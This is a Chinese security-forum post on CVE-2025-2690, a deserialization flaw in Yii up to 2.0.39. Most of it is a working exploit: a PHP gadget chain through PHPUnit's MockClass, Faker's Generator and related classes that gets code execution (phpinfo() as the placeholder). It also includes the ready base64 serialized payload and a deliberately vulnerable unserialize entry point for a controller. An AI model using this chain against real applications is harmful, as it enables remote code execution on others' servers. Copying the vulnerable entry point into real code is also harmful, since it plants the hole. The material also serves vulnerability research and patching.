投稿文章:【CVE-2025-2690】Yii 反序列化漏洞

2025-04-22 10:59:10 3 423
Yii <=2.0.39 版本存在反序列化漏洞。如果框架被引用并且存在反序列化入口点,攻击者可以通过反序列化实现任意命令执行。

漏洞利用点在 phpunit\src\Framework\MockObject\MockClass.php 的 generate() 方法中。

设置环境时,请记住在config/web.php中为cookievalidation分配一个值,然后在Controllers \ sitecontroller.php的actionIndex()方法中添加以下反序列化输入。
public function actionIndex()  
{  
    $name = Yii::$app->request->get('input');  
    unserialize(base64_decode($name));  
    return $this->render('index');  
}
exp代码:
<?php   
namespace PHPUnit\Framework\MockObject{  
    final class MockClass{  
        public $mockName;  
        public $classCode;  
        public function  __construct()  
        {  
            $this->mockName = "MockClass";  
            $this->classCode = "phpinfo();";  
        }  
    }  
  
}  
namespace PHPUnit\Framework {  
  
    class TestSuite  
    {  
        public $iteratorFilter;  
    }  
}  
namespace Faker{  
use PHPUnit\Framework\MockObject\MockClass;  
    class Generator{  
        public $formatters;  
        public function __construct() {  
            $this->formatters['factory'] = [new MockClass(), 'generate'];  
        }  
    }  
  
}  
namespace SebastianBergmann\RecursionContext{  
    final class Context  
    {  
        public $arrays;  
    }  
  
    $a = new Context();  
    $a->arrays = new \PHPUnit\Framework\TestSuite();  
    $a->arrays->iteratorFilter = new \Faker\Generator();  
    echo base64_encode(serialize($a));  
}
序列化之后:

Tzo0MjoiU2ViYXN0aWFuQmVyZ21hbm5cUmVjdXJzaW9uQ29udGV4dFxDb250ZXh0IjoxOntzOjY6ImFycmF5cyI7TzoyNzoiUEhQVW5pdFxGcmFtZXdvcmtcVGVzdFN1aXRlIjoxOntzOjE0OiJpdGVyYXRvckZpbHRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoyOntzOjEwOiJmb3JtYXR0ZXJzIjthOjE6e3M6NzoiZmFjdG9yeSI7YToyOntpOjA7TzozODoiUEhQVW5pdFxGcmFtZXdvcmtcTW9ja09iamVjdFxNb2NrQ2xhc3MiOjI6e3M6ODoibW9ja05hbWUiO3M6OToiTW9ja0NsYXNzIjtzOjk6ImNsYXNzQ29kZSI7czoxMDoicGhwaW5mbygpOyI7fWk6MTtzOjg6ImdlbmVyYXRlIjt9fXM6MzoiYWFhIjtOO319fQ==


关于作者

gh0stk1ller0篇文章2篇回复

评论3次

要评论?请先  登录  或  注册